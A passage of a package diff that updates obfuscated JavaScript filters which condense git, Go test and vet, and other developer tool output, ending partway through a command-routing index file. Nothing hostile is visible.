_0x578484[_0x426eb2(0x194)]('-')&&!_0x578484[_0x426eb2(0x194)](_0x426eb2(0x191))&&(_0x96aa21++,_0x239dc1[_0x426eb2(0x198)](_0x578484));}}_0x38b250();const _0x511857=_0x2d5a['join']('\x0a');return _0x511857['length']>0x0?_0x511857:_0x426eb2(0x189);}
1
+ 'use strict';const a0_0x100ddf=a0_0x36d9;(function(_0x2159de,_0x390e3e){const _0x23e875=a0_0x36d9,_0x4239ae=_0x2159de();while(!![]){try{const _0x6fe14a=-parseInt(_0x23e875(0x137))/0x1*(-parseInt(_0x23e875(0x138))/0x2)+-parseInt(_0x23e875(0x153))/0x3+parseInt(_0x23e875(0x157))/0x4+-parseInt(_0x23e875(0x13c))/0x5*(parseInt(_0x23e875(0x148))/0x6)+-parseInt(_0x23e875(0x145))/0x7*(parseInt(_0x23e875(0x159))/0x8)+-parseInt(_0x23e875(0x13d))/0x9+parseInt(_0x23e875(0x14f))/0xa;if(_0x6fe14a===_0x390e3e)break;else _0x4239ae['push'](_0x4239ae['shift']());}catch(_0x275482){_0x4239ae['push'](_0x4239ae['shift']());}}}(a0_0x3826,0xa3e75));function a0_0x36d9(_0x20bb52,_0x28c9b8){const _0x38268b=a0_0x3826();return a0_0x36d9=function(_0x36d984,_0x3adde8){_0x36d984=_0x36d984-0x12a;let _0xc52469=_0x38268b[_0x36d984];return _0xc52469;},a0_0x36d9(_0x20bb52,_0x28c9b8);}var __createBinding=this&&this[a0_0x100ddf(0x152)]||(Object[a0_0x100ddf(0x136)]?function(_0x25939d,_0xc912cb,_0x519ee5,_0x2d989e){const _0x337aed=a0_0x100ddf;if(_0x2d989e===undefined)_0x2d989e=_0x519ee5;var _0x47aac0=Object['getOwnPropertyDescriptor'](_0xc912cb,_0x519ee5);(!_0x47aac0||(_0x337aed(0x141)in _0x47aac0?!_0xc912cb[_0x337aed(0x15a)]:_0x47aac0[_0x337aed(0x12f)]||_0x47aac0[_0x337aed(0x14b)]))&&(_0x47aac0={'enumerable':!![],'get':function(){return _0xc912cb[_0x519ee5];}}),Object['defineProperty'](_0x25939d,_0x2d989e,_0x47aac0);}:function(_0x2c7023,_0x4e02c7,_0x4eb198,_0x4621f9){if(_0x4621f9===undefined)_0x4621f9=_0x4eb198;_0x2c7023[_0x4621f9]=_0x4e02c7[_0x4eb198];}),__setModuleDefault=this&&this[a0_0x100ddf(0x14d)]||(Object[a0_0x100ddf(0x136)]?function(_0x4e4ffe,_0x1366bd){const _0x359872=a0_0x100ddf;Object[_0x359872(0x14c)](_0x4e4ffe,'default',{'enumerable':!![],'value':_0x1366bd});}:function(_0x420216,_0x5cd0c0){const _0x18ac23=a0_0x100ddf;_0x420216[_0x18ac23(0x151)]=_0x5cd0c0;}),__importStar=this&&this[a0_0x100ddf(0x13f)]||(function(){var _0x1fd4e3=function(_0x361a8c){const _0x247089=a0_0x36d9;return _0x1fd4e3=Object[_0x247089(0x12d)]||function(_0x1dfe33){const _0x5046bd=_0x247089;var _0x390fac=[];for(var _0x3b5df2 in _0x1dfe33)if(Object[_0x5046bd(0x15d)][_0x5046bd(0x15c)]['call'](_0x1dfe33,_0x3b5df2))_0x390fac[_0x390fac['length']]=_0x3b5df2;return _0x390fac;},_0x1fd4e3(_0x361a8c);};return function(_0x2670e3){const _0x411333=a0_0x36d9;if(_0x2670e3&&_0x2670e3[_0x411333(0x15a)])return _0x2670e3;var _0xea237={};if(_0x2670e3!=null){for(var _0x3418b3=_0x1fd4e3(_0x2670e3),_0x3de4fc=0x0;_0x3de4fc<_0x3418b3[_0x411333(0x140)];_0x3de4fc++)if(_0x3418b3[_0x3de4fc]!==_0x411333(0x151))__createBinding(_0xea237,_0x2670e3,_0x3418b3[_0x3de4fc]);}return __setModuleDefault(_0xea237,_0x2670e3),_0xea237;};}());function a0_0x3826(){const _0x2d6491=['join','create','23PNUXNx','35764pqDogy','dirname','---','filterGitLog','13235WUZXxX','516231JAsLPg','Clean\x20working\x20tree','__importStar','length','get','split','startsWith','substring','126UtcZdS','entries','filter','2802DJjBoA','\x20(+','\x0aUntracked\x20files:','configurable','defineProperty','__setModuleDefault','push','29186730UasrXy','basename','default','__createBinding','2676459NigAzX','\x0aChanges:','\x20more\x20modifications','unknown_file','3022852qIpiMm','---END---','546072GQetry','__esModule','No\x20modifications','hasOwnProperty','prototype','filterGitStatus','filterGitDiff','map','slice','getOwnPropertyNames','+++','writable','[file]\x20','\x20\x20??\x20','\x20\x20...\x20(+','trim','/\x20('];a0_0x3826=function(){return _0x2d6491;};return a0_0x3826();}Object[a0_0x100ddf(0x14c)](exports,a0_0x100ddf(0x15a),{'value':!![]}),exports[a0_0x100ddf(0x15e)]=filterGitStatus,exports[a0_0x100ddf(0x13b)]=filterGitLog,exports[a0_0x100ddf(0x12a)]=filterGitDiff;const path=__importStar(require('path'));function filterGitStatus(_0x4b3198){const _0x335047=a0_0x100ddf,_0x2d446b=_0x4b3198[_0x335047(0x142)]('\x0a')[_0x335047(0x12b)](_0x9e5273=>_0x9e5273[_0x335047(0x133)]())[_0x335047(0x147)](_0x4966ba=>_0x4966ba[_0x335047(0x140)]>0x0);if(_0x2d446b[_0x335047(0x140)]===0x0)return _0x335047(0x13e);const _0xf0086a=[],_0x57f1b0=[],_0x577ad8=[];for(const _0x427a37 of _0x2d446b){if(_0x427a37[_0x335047(0x143)]('##')){const _0x46d7a7=_0x427a37['replace'](/^##\s*/,'');_0xf0086a[_0x335047(0x14e)]('*\x20Branch:\x20'+_0x46d7a7);}else _0x427a37['startsWith']('??')?_0x57f1b0[_0x335047(0x14e)](_0x427a37[_0x335047(0x144)](0x3)[_0x335047(0x133)]()):_0x577ad8[_0x335047(0x14e)](_0x427a37);}_0x577ad8[_0x335047(0x140)]>0x0&&(_0xf0086a[_0x335047(0x14e)](_0x335047(0x154)),_0xf0086a[_0x335047(0x14e)](..._0x577ad8['map'](_0x4f995b=>'\x20\x20'+_0x4f995b)));if(_0x57f1b0[_0x335047(0x140)]>0x0){_0xf0086a[_0x335047(0x14e)](_0x335047(0x14a));const _0x217bd3={},_0x3308eb=[];for(const _0x463b5c of _0x57f1b0){const _0xc0b335=path[_0x335047(0x139)](_0x463b5c);_0xc0b335==='.'||_0xc0b335===''?_0x3308eb[_0x335047(0x14e)](_0x463b5c):(!_0x217bd3[_0xc0b335]&&(_0x217bd3[_0xc0b335]=[]),_0x217bd3[_0xc0b335][_0x335047(0x14e)](path[_0x335047(0x150)](_0x463b5c)));}for(const [_0x1d836e,_0x33ce8b]of Object[_0x335047(0x146)](_0x217bd3)){if(_0x33ce8b[_0x335047(0x140)]>0x5)_0xf0086a['push']('\x20\x20??\x20'+_0x1d836e+_0x335047(0x134)+_0x33ce8b[_0x335047(0x140)]+'\x20untracked\x20files)');else for(const _0x45b854 of _0x33ce8b){_0xf0086a[_0x335047(0x14e)]('\x20\x20??\x20'+path[_0x335047(0x135)](_0x1d836e,_0x45b854));}}for(const _0x4882bb of _0x3308eb){_0xf0086a[_0x335047(0x14e)](_0x335047(0x131)+_0x4882bb);}}return _0xf0086a[_0x335047(0x135)]('\x0a');}function filterGitLog(_0x27fac0){const _0x25e763=a0_0x100ddf,_0x3bceb9=_0x27fac0[_0x25e763(0x142)](_0x25e763(0x158))[_0x25e763(0x12b)](_0x4c22c1=>_0x4c22c1[_0x25e763(0x133)]())[_0x25e763(0x147)](_0x1573ad=>_0x1573ad[_0x25e763(0x140)]>0x0);if(_0x3bceb9['length']===0x0)return _0x27fac0;const _0x5c54e8=[];for(const _0x1b4db4 of _0x3bceb9){const _0x4e6424=_0x1b4db4[_0x25e763(0x142)]('\x0a'),_0x22d9f6=_0x4e6424[0x0]||'',_0x10aa14=_0x4e6424[_0x25e763(0x12c)](0x1)[_0x25e763(0x12b)](_0x5f252b=>_0x5f252b[_0x25e763(0x133)]())[_0x25e763(0x147)](_0x51d6fc=>_0x51d6fc[_0x25e763(0x140)]>0x0);_0x5c54e8['push']('-\x20'+_0x22d9f6),_0x10aa14['length']>0x0&&(_0x5c54e8[_0x25e763(0x14e)]('\x20\x20'+_0x10aa14[0x0]),_0x10aa14[_0x25e763(0x140)]>0x1&&_0x5c54e8['push'](_0x25e763(0x132)+(_0x10aa14[_0x25e763(0x140)]-0x1)+'\x20lines\x20of\x20description)'));}return _0x5c54e8[_0x25e763(0x135)]('\x0a');}function filterGitDiff(_0x164a5b){const _0x4503e2=a0_0x100ddf,_0x64c1a4=_0x164a5b[_0x4503e2(0x142)]('\x0a'),_0x25a427=[];let _0x676ec3='',_0x215283=0x0,_0x2b72d4=0x0,_0x3763a7=[];const _0x3a98cc=()=>{const _0xb0b10f=_0x4503e2;if(_0x676ec3&&(_0x215283>0x0||_0x2b72d4>0x0)){_0x25a427[_0xb0b10f(0x14e)](_0xb0b10f(0x130)+_0x676ec3+_0xb0b10f(0x149)+_0x215283+'\x20-'+_0x2b72d4+')');const _0x36f0a8=0xa,_0x21ed8b=_0x3763a7[_0xb0b10f(0x12c)](0x0,_0x36f0a8);for(const _0x1a4a54 of _0x21ed8b){_0x25a427[_0xb0b10f(0x14e)]('\x20\x20'+_0x1a4a54);}const _0x32bb87=_0x215283+_0x2b72d4-_0x36f0a8;_0x32bb87>0x0&&_0x25a427[_0xb0b10f(0x14e)]('\x20\x20...\x20+'+_0x32bb87+_0xb0b10f(0x155));}_0x215283=0x0,_0x2b72d4=0x0,_0x3763a7=[];};for(const _0x462998 of _0x64c1a4){if(_0x462998[_0x4503e2(0x143)]('diff\x20--git')){_0x3a98cc();const _0x56fb57=_0x462998['match'](/\sb\/(.+)$/);_0x676ec3=_0x56fb57?_0x56fb57[0x1]:_0x4503e2(0x156);}else{if(_0x462998[_0x4503e2(0x143)]('+')&&!_0x462998[_0x4503e2(0x143)](_0x4503e2(0x12e)))_0x215283++,_0x3763a7[_0x4503e2(0x14e)](_0x462998);else _0x462998['startsWith']('-')&&!_0x462998[_0x4503e2(0x143)](_0x4503e2(0x13a))&&(_0x2b72d4++,_0x3763a7[_0x4503e2(0x14e)](_0x462998));}}_0x3a98cc();const _0x19d11c=_0x25a427['join']('\x0a');return _0x19d11c[_0x4503e2(0x140)]>0x0?_0x19d11c:_0x4503e2(0x15b);}
package/filters/go.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x1dcdff=a0_0xde7e;function a0_0xde7e(_0x29554c,_0x2f4fd2){const _0x150de8=a0_0x150d();return a0_0xde7e=function(_0xde7ea,_0xc5b37c){_0xde7ea=_0xde7ea-0x152;let _0x29c889=_0x150de8[_0xde7ea];return _0x29c889;},a0_0xde7e(_0x29554c,_0x2f4fd2);}(function(_0x2a170f,_0x4de6f3){const _0x2d8026=a0_0xde7e,_0x488b6f=_0x2a170f();while(!![]){try{const _0xc13807=-parseInt(_0x2d8026(0x152))/0x1*(-parseInt(_0x2d8026(0x15c))/0x2)+parseInt(_0x2d8026(0x16b))/0x3*(parseInt(_0x2d8026(0x15e))/0x4)+-parseInt(_0x2d8026(0x16f))/0x5+parseInt(_0x2d8026(0x161))/0x6*(parseInt(_0x2d8026(0x158))/0x7)+parseInt(_0x2d8026(0x15a))/0x8*(parseInt(_0x2d8026(0x166))/0x9)+parseInt(_0x2d8026(0x157))/0xa*(-parseInt(_0x2d8026(0x176))/0xb)+-parseInt(_0x2d8026(0x165))/0xc*(-parseInt(_0x2d8026(0x16c))/0xd);if(_0xc13807===_0x4de6f3)break;else _0x488b6f['push'](_0x488b6f['shift']());}catch(_0x19be0b){_0x488b6f['push'](_0x488b6f['shift']());}}}(a0_0x150d,0x39f0b));function a0_0x150d(){const _0x24fcdc=['includes','3693DJKuJi','13IxUnhQ','\x20more\x20issues','trim','2219310iHKbwT','\x20failed,\x20','Go\x20test:\x20no\x20test\x20files','\x20more\x20failures','---\x20SKIP:','__esModule','\x20\x20...\x20+','1155044uHLgHu','slice','defineProperty','Go\x20vet:\x20no\x20issues\x20found','join','lines','...\x20+','split','Go\x20test:\x20all\x20tests\x20passed','\x20\x20\x20\x20...\x20+','2ybihGB','\x20issues\x20found','\x20\x20\x20\x20','\x0aFailures:','Go\x20vet:\x20','40GsjICC','7yBlWXl','length','28984eGSpdc','filter','181054AQuGXu','===\x20RUN','56xHEhJS','\x20skipped','push','2261634TjJnOd','filterGoTest','min','filterGoVet','5572596mFBvQh','153yMiMST','Go\x20test:\x20','match','startsWith'];a0_0x150d=function(){return _0x24fcdc;};return a0_0x150d();}Object[a0_0x1dcdff(0x178)](exports,a0_0x1dcdff(0x174),{'value':!![]}),exports[a0_0x1dcdff(0x162)]=filterGoTest,exports[a0_0x1dcdff(0x164)]=filterGoVet;function filterGoTest(_0x109b3e){const _0x38de09=a0_0x1dcdff,_0x835454=_0x109b3e['split']('\x0a');let _0x5062fa=0x0,_0x4beb31=0x0,_0x488cfb=0x0;const _0x1226c5=[],_0x3409a4=[];let _0x389de7=null;for(const _0x49d1c2 of _0x835454){const _0x162b3f=_0x49d1c2['trim'](),_0x5d7ac1=_0x162b3f[_0x38de09(0x168)](/^ok\s+\S+\s+[\d.]+s/);if(_0x5d7ac1){_0x3409a4[_0x38de09(0x160)](_0x162b3f);continue;}const _0x1e81c3=_0x162b3f[_0x38de09(0x168)](/^FAIL\s+\S+/);if(_0x1e81c3){_0x3409a4[_0x38de09(0x160)](_0x162b3f);continue;}const _0x38f936=_0x162b3f[_0x38de09(0x168)](/^--- PASS:/);if(_0x38f936){_0x5062fa++;continue;}const _0x42be2d=_0x162b3f[_0x38de09(0x168)](/^--- FAIL:\s+(\S+)/);if(_0x42be2d){if(_0x389de7)_0x1226c5[_0x38de09(0x160)](_0x389de7);_0x389de7={'name':_0x42be2d[0x1],'lines':[]},_0x4beb31++;continue;}if(_0x162b3f[_0x38de09(0x169)](_0x38de09(0x173))){_0x488cfb++;continue;}_0x389de7&&_0x162b3f[_0x38de09(0x159)]>0x0&&!_0x162b3f[_0x38de09(0x169)](_0x38de09(0x15d))&&_0x389de7[_0x38de09(0x17b)][_0x38de09(0x160)](_0x49d1c2),_0x162b3f['startsWith'](_0x38de09(0x15d))&&(_0x389de7&&(_0x1226c5[_0x38de09(0x160)](_0x389de7),_0x389de7=null));}if(_0x389de7)_0x1226c5[_0x38de09(0x160)](_0x389de7);if(_0x5062fa===0x0&&_0x4beb31===0x0&&_0x488cfb===0x0){if(_0x109b3e[_0x38de09(0x16a)]('PASS')&&!_0x109b3e[_0x38de09(0x16a)]('FAIL'))return _0x38de09(0x17e);if(_0x109b3e[_0x38de09(0x16a)]('no\x20test\x20files'))return _0x38de09(0x171);return _0x109b3e;}if(_0x4beb31===0x0){const _0x22b0f7=[_0x38de09(0x167)+_0x5062fa+'\x20passed'];if(_0x488cfb>0x0)_0x22b0f7['push'](_0x488cfb+'\x20skipped');return _0x22b0f7[_0x38de09(0x17a)](',\x20');}const _0x4f464d=[_0x38de09(0x167)+_0x5062fa+'\x20passed,\x20'+_0x4beb31+_0x38de09(0x170)+_0x488cfb+_0x38de09(0x15f)];if(_0x1226c5[_0x38de09(0x159)]>0x0){_0x4f464d[_0x38de09(0x160)](_0x38de09(0x155));const _0x10584b=0x3;for(let _0x510049=0x0;_0x510049<Math[_0x38de09(0x163)](_0x1226c5[_0x38de09(0x159)],_0x10584b);_0x510049++){const _0x57b41a=_0x1226c5[_0x510049];_0x4f464d[_0x38de09(0x160)]('\x20\x20'+(_0x510049+0x1)+'.\x20'+_0x57b41a['name']);for(const _0xfd882a of _0x57b41a[_0x38de09(0x17b)][_0x38de09(0x177)](0x0,0x5)){_0x4f464d[_0x38de09(0x160)](_0x38de09(0x154)+_0xfd882a[_0x38de09(0x16e)]());}_0x57b41a[_0x38de09(0x17b)][_0x38de09(0x159)]>0x5&&_0x4f464d[_0x38de09(0x160)](_0x38de09(0x17f)+(_0x57b41a[_0x38de09(0x17b)][_0x38de09(0x159)]-0x5)+'\x20more\x20lines');}_0x1226c5[_0x38de09(0x159)]>_0x10584b&&_0x4f464d[_0x38de09(0x160)](_0x38de09(0x175)+(_0x1226c5[_0x38de09(0x159)]-_0x10584b)+_0x38de09(0x172));}return _0x4f464d[_0x38de09(0x17a)]('\x0a');}function filterGoVet(_0x140db9){const _0x4331ee=a0_0x1dcdff,_0x2dd94e=_0x140db9[_0x4331ee(0x17d)]('\x0a')[_0x4331ee(0x15b)](_0x281897=>_0x281897[_0x4331ee(0x16e)]()[_0x4331ee(0x159)]>0x0);if(_0x2dd94e[_0x4331ee(0x159)]===0x0)return _0x4331ee(0x179);if(_0x2dd94e[_0x4331ee(0x159)]<=0x14)return _0x140db9[_0x4331ee(0x16e)]();const _0x477899=[_0x4331ee(0x156)+_0x2dd94e[_0x4331ee(0x159)]+_0x4331ee(0x153)];return _0x477899['push'](..._0x2dd94e[_0x4331ee(0x177)](0x0,0xa)),_0x2dd94e[_0x4331ee(0x159)]>0xa&&_0x477899[_0x4331ee(0x160)](_0x4331ee(0x17c)+(_0x2dd94e['length']-0xa)+_0x4331ee(0x16d)),_0x477899['join']('\x0a');}
1
+ 'use strict';function a0_0x2708(){const _0x152189=['546938CVBmbi','slice','...\x20+','trim','name','match','\x20skipped','join','__esModule','PASS','split','startsWith','\x20\x20...\x20+','\x20passed','no\x20test\x20files','Go\x20test:\x20all\x20tests\x20passed','\x0aFailures:','\x20more\x20lines','---\x20SKIP:','464188WgNLVa','\x20more\x20failures','\x20issues\x20found','445830vedFmb','filterGoVet','1791018mcqaDm','\x20passed,\x20','\x20\x20\x20\x20','40YlhPIX','includes','\x20failed,\x20','filter','Go\x20test:\x20no\x20test\x20files','FAIL','===\x20RUN','2555721qJvbun','min','3qrBtGd','push','defineProperty','filterGoTest','lines','length','699464lzVAoR','Go\x20test:\x20','12356800GYesqB','35wndeqY'];a0_0x2708=function(){return _0x152189;};return a0_0x2708();}const a0_0x429cbc=a0_0x35af;function a0_0x35af(_0x5a9239,_0x21a3c0){const _0x270837=a0_0x2708();return a0_0x35af=function(_0x35af73,_0x12c5f6){_0x35af73=_0x35af73-0x1e2;let _0x169a2d=_0x270837[_0x35af73];return _0x169a2d;},a0_0x35af(_0x5a9239,_0x21a3c0);}(function(_0x4fd772,_0x2e7d88){const _0x4fb1a1=a0_0x35af,_0x4c88c1=_0x4fd772();while(!![]){try{const _0x5e51fe=-parseInt(_0x4fb1a1(0x1e5))/0x1+parseInt(_0x4fb1a1(0x1f9))/0x2*(parseInt(_0x4fb1a1(0x1f3))/0x3)+-parseInt(_0x4fb1a1(0x1e2))/0x4*(-parseInt(_0x4fb1a1(0x1fc))/0x5)+parseInt(_0x4fb1a1(0x1e7))/0x6+parseInt(_0x4fb1a1(0x1fd))/0x7*(parseInt(_0x4fb1a1(0x1ea))/0x8)+parseInt(_0x4fb1a1(0x1f1))/0x9+-parseInt(_0x4fb1a1(0x1fb))/0xa;if(_0x5e51fe===_0x2e7d88)break;else _0x4c88c1['push'](_0x4c88c1['shift']());}catch(_0x5ee622){_0x4c88c1['push'](_0x4c88c1['shift']());}}}(a0_0x2708,0x6ec3d));Object[a0_0x429cbc(0x1f5)](exports,a0_0x429cbc(0x205),{'value':!![]}),exports[a0_0x429cbc(0x1f6)]=filterGoTest,exports[a0_0x429cbc(0x1e6)]=filterGoVet;function filterGoTest(_0x53bbcf){const _0x2d0794=a0_0x429cbc,_0x4c5f69=_0x53bbcf[_0x2d0794(0x207)]('\x0a');let _0x3d2872=0x0,_0x8d3ad=0x0,_0x1732eb=0x0;const _0x369c76=[],_0x39eaa4=[];let _0x50d6a2=null;for(const _0x2867e0 of _0x4c5f69){const _0x74568d=_0x2867e0[_0x2d0794(0x200)](),_0xa112a7=_0x74568d['match'](/^ok\s+\S+\s+[\d.]+s/);if(_0xa112a7){_0x39eaa4[_0x2d0794(0x1f4)](_0x74568d);continue;}const _0xe615b0=_0x74568d['match'](/^FAIL\s+\S+/);if(_0xe615b0){_0x39eaa4[_0x2d0794(0x1f4)](_0x74568d);continue;}const _0x1c90f8=_0x74568d[_0x2d0794(0x202)](/^--- PASS:/);if(_0x1c90f8){_0x3d2872++;continue;}const _0x5afb1c=_0x74568d['match'](/^--- FAIL:\s+(\S+)/);if(_0x5afb1c){if(_0x50d6a2)_0x369c76[_0x2d0794(0x1f4)](_0x50d6a2);_0x50d6a2={'name':_0x5afb1c[0x1],'lines':[]},_0x8d3ad++;continue;}if(_0x74568d['startsWith'](_0x2d0794(0x20f))){_0x1732eb++;continue;}_0x50d6a2&&_0x74568d[_0x2d0794(0x1f8)]>0x0&&!_0x74568d[_0x2d0794(0x208)](_0x2d0794(0x1f0))&&_0x50d6a2[_0x2d0794(0x1f7)][_0x2d0794(0x1f4)](_0x2867e0),_0x74568d['startsWith'](_0x2d0794(0x1f0))&&(_0x50d6a2&&(_0x369c76[_0x2d0794(0x1f4)](_0x50d6a2),_0x50d6a2=null));}if(_0x50d6a2)_0x369c76[_0x2d0794(0x1f4)](_0x50d6a2);if(_0x3d2872===0x0&&_0x8d3ad===0x0&&_0x1732eb===0x0){if(_0x53bbcf['includes'](_0x2d0794(0x206))&&!_0x53bbcf[_0x2d0794(0x1eb)](_0x2d0794(0x1ef)))return _0x2d0794(0x20c);if(_0x53bbcf[_0x2d0794(0x1eb)](_0x2d0794(0x20b)))return _0x2d0794(0x1ee);return _0x53bbcf;}if(_0x8d3ad===0x0){const _0x3fd921=[_0x2d0794(0x1fa)+_0x3d2872+_0x2d0794(0x20a)];if(_0x1732eb>0x0)_0x3fd921[_0x2d0794(0x1f4)](_0x1732eb+'\x20skipped');return _0x3fd921[_0x2d0794(0x204)](',\x20');}const _0x5ae672=[_0x2d0794(0x1fa)+_0x3d2872+_0x2d0794(0x1e8)+_0x8d3ad+_0x2d0794(0x1ec)+_0x1732eb+_0x2d0794(0x203)];if(_0x369c76[_0x2d0794(0x1f8)]>0x0){_0x5ae672[_0x2d0794(0x1f4)](_0x2d0794(0x20d));const _0x4e2c90=0x3;for(let _0x3ab8a6=0x0;_0x3ab8a6<Math[_0x2d0794(0x1f2)](_0x369c76['length'],_0x4e2c90);_0x3ab8a6++){const _0x2c349f=_0x369c76[_0x3ab8a6];_0x5ae672[_0x2d0794(0x1f4)]('\x20\x20'+(_0x3ab8a6+0x1)+'.\x20'+_0x2c349f[_0x2d0794(0x201)]);for(const _0x4ca2d4 of _0x2c349f[_0x2d0794(0x1f7)][_0x2d0794(0x1fe)](0x0,0x5)){_0x5ae672['push'](_0x2d0794(0x1e9)+_0x4ca2d4[_0x2d0794(0x200)]());}_0x2c349f[_0x2d0794(0x1f7)][_0x2d0794(0x1f8)]>0x5&&_0x5ae672[_0x2d0794(0x1f4)]('\x20\x20\x20\x20...\x20+'+(_0x2c349f[_0x2d0794(0x1f7)]['length']-0x5)+_0x2d0794(0x20e));}_0x369c76['length']>_0x4e2c90&&_0x5ae672['push'](_0x2d0794(0x209)+(_0x369c76['length']-_0x4e2c90)+_0x2d0794(0x1e3));}return _0x5ae672[_0x2d0794(0x204)]('\x0a');}function filterGoVet(_0x156358){const _0x3cb603=a0_0x429cbc,_0x41dc9b=_0x156358[_0x3cb603(0x207)]('\x0a')[_0x3cb603(0x1ed)](_0x1d9afb=>_0x1d9afb[_0x3cb603(0x200)]()[_0x3cb603(0x1f8)]>0x0);if(_0x41dc9b[_0x3cb603(0x1f8)]===0x0)return'Go\x20vet:\x20no\x20issues\x20found';if(_0x41dc9b[_0x3cb603(0x1f8)]<=0x14)return _0x156358[_0x3cb603(0x200)]();const _0x46e7a6=['Go\x20vet:\x20'+_0x41dc9b['length']+_0x3cb603(0x1e4)];return _0x46e7a6['push'](..._0x41dc9b[_0x3cb603(0x1fe)](0x0,0xa)),_0x41dc9b[_0x3cb603(0x1f8)]>0xa&&_0x46e7a6[_0x3cb603(0x1f4)](_0x3cb603(0x1ff)+(_0x41dc9b['length']-0xa)+'\x20more\x20issues'),_0x46e7a6[_0x3cb603(0x204)]('\x0a');}
package/filters/index.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x4d4dbf=a0_0x28c9;(function(_0x1ea048,_0x484136){const _0x4f4f16=a0_0x28c9,_0x1e1021=_0x1ea048();while(!![]){try{const _0x474d1c=parseInt(_0x4f4f16(0x1d4))/0x1+parseInt(_0x4f4f16(0x20d))/0x2+-parseInt(_0x4f4f16(0x21c))/0x3+parseInt(_0x4f4f16(0x1fb))/0x4*(-parseInt(_0x4f4f16(0x1da))/0x5)+parseInt(_0x4f4f16(0x1f1))/0x6*(-parseInt(_0x4f4f16(0x1e1))/0x7)+-parseInt(_0x4f4f16(0x1ce))/0x8+-parseInt(_0x4f4f16(0x1e7))/0x9*(-parseInt(_0x4f4f16(0x217))/0xa);if(_0x474d1c===_0x484136)break;else _0x1e1021['push'](_0x1e1021['shift']());}catch(_0x17dfa3){_0x1e1021['push'](_0x1e1021['shift']());}}}(a0_0x7476,0xd2235));Object[a0_0x4d4dbf(0x1e5)](exports,a0_0x4d4dbf(0x219),{'value':!![]}),exports[a0_0x4d4dbf(0x21a)]=compressOutput,exports[a0_0x4d4dbf(0x1dd)]=rewriteCommand;const generic_1=require(a0_0x4d4dbf(0x209)),git_1=require(a0_0x4d4dbf(0x1de)),python_1=require(a0_0x4d4dbf(0x1c2)),js_1=require(a0_0x4d4dbf(0x1c9)),shell_1=require(a0_0x4d4dbf(0x1fa)),rust_1=require(a0_0x4d4dbf(0x1c8)),go_1=require(a0_0x4d4dbf(0x1e2)),devops_1=require(a0_0x4d4dbf(0x1cd)),redactor_1=require(a0_0x4d4dbf(0x1d3));function a0_0x28c9(_0x4cc443,_0x3cc9d0){const _0x7476ff=a0_0x7476();return a0_0x28c9=function(_0x28c95b,_0x2817d8){_0x28c95b=_0x28c95b-0x1be;let _0x41dc43=_0x7476ff[_0x28c95b];return _0x41dc43;},a0_0x28c9(_0x4cc443,_0x3cc9d0);}function compressOutput(_0x22ac5a,_0x174fa3,_0x2bd987,_0x44393c=!![]){const _0x221d91=a0_0x4d4dbf,_0x183c79=_0x22ac5a[_0x221d91(0x1f2)]();let _0x331668=_0x174fa3;_0x2bd987[_0x221d91(0x1f2)]()[_0x221d91(0x1d1)]>0x0&&(_0x331668=_0x174fa3+'\x0a'+_0x2bd987);let _0x249dfa=(0x0,generic_1['stripAnsi'])(_0x331668);_0x44393c&&(_0x249dfa=redactor_1[_0x221d91(0x201)][_0x221d91(0x1bf)](_0x249dfa));const _0x7f641a=_0x183c79[_0x221d91(0x218)]();try{if(_0x7f641a['includes'](_0x221d91(0x1ca))||_0x7f641a['includes'](_0x221d91(0x1f0)))return(0x0,git_1[_0x221d91(0x1eb)])(_0x249dfa);if(_0x7f641a['includes'](_0x221d91(0x1ec))||_0x7f641a[_0x221d91(0x1d0)](_0x221d91(0x1df)))return(0x0,git_1['filterGitLog'])(_0x249dfa);if(_0x7f641a['includes'](_0x221d91(0x1e3))||_0x7f641a[_0x221d91(0x1d0)](_0x221d91(0x213))||_0x7f641a['includes'](_0x221d91(0x1cf)))return(0x0,git_1[_0x221d91(0x1d2)])(_0x249dfa);if(_0x7f641a[_0x221d91(0x1d0)]('pytest')||_0x7f641a['match'](/python3?\s+-m\s+pytest/))return(0x0,python_1[_0x221d91(0x1fe)])(_0x249dfa);if(_0x7f641a[_0x221d91(0x1d0)](_0x221d91(0x1e0))||_0x7f641a[_0x221d91(0x1d0)](_0x221d91(0x207)))return(0x0,python_1[_0x221d91(0x1f3)])(_0x249dfa);if(_0x7f641a[_0x221d91(0x1d0)](_0x221d91(0x1f6))||_0x7f641a['includes'](_0x221d91(0x20e)))return(0x0,devops_1['filterRuff'])(_0x249dfa);if(_0x7f641a['includes'](_0x221d91(0x1f8))||_0x7f641a[_0x221d91(0x1d0)](_0x221d91(0x208))||_0x7f641a[_0x221d91(0x1e4)](_0x221d91(0x1be))||_0x7f641a[_0x221d91(0x1d0)]('pnpm\x20install')||_0x7f641a[_0x221d91(0x1d0)](_0x221d91(0x1c1)))return(0x0,js_1[_0x221d91(0x1e6)])(_0x249dfa);if(_0x7f641a['includes']('jest')||_0x7f641a[_0x221d91(0x1d0)](_0x221d91(0x1c3)))return(0x0,js_1[_0x221d91(0x1ea)])(_0x249dfa);if(_0x7f641a[_0x221d91(0x1d0)](_0x221d91(0x204))||_0x7f641a[_0x221d91(0x1d0)](_0x221d91(0x202))||_0x7f641a[_0x221d91(0x1d0)](_0x221d91(0x20c))||_0x7f641a[_0x221d91(0x1d0)](_0x221d91(0x1d5)))return(0x0,js_1[_0x221d91(0x1ea)])(_0x249dfa);if(_0x7f641a[_0x221d91(0x1d0)](_0x221d91(0x215)))return(0x0,rust_1[_0x221d91(0x1fc)])(_0x249dfa);if(_0x7f641a[_0x221d91(0x1d0)](_0x221d91(0x1c4))||_0x7f641a[_0x221d91(0x1d0)](_0x221d91(0x1ef))||_0x7f641a[_0x221d91(0x1d0)](_0x221d91(0x1ee)))return(0x0,rust_1[_0x221d91(0x1e9)])(_0x249dfa);if(_0x7f641a[_0x221d91(0x1d0)](_0x221d91(0x1dc)))return(0x0,go_1[_0x221d91(0x1c0)])(_0x249dfa);if(_0x7f641a[_0x221d91(0x1d0)]('go\x20vet'))return(0x0,go_1[_0x221d91(0x1d6)])(_0x249dfa);if(_0x7f641a['match'](/docker\s+ps/))return(0x0,devops_1[_0x221d91(0x1ff)])(_0x249dfa);if(_0x7f641a['match'](/docker\s+images/))return(0x0,devops_1[_0x221d91(0x1ed)])(_0x249dfa);if(_0x7f641a[_0x221d91(0x216)](/docker\s+logs/))return(0x0,devops_1[_0x221d91(0x20b)])(_0x249dfa);if(_0x7f641a[_0x221d91(0x1d0)]('kubectl')){const 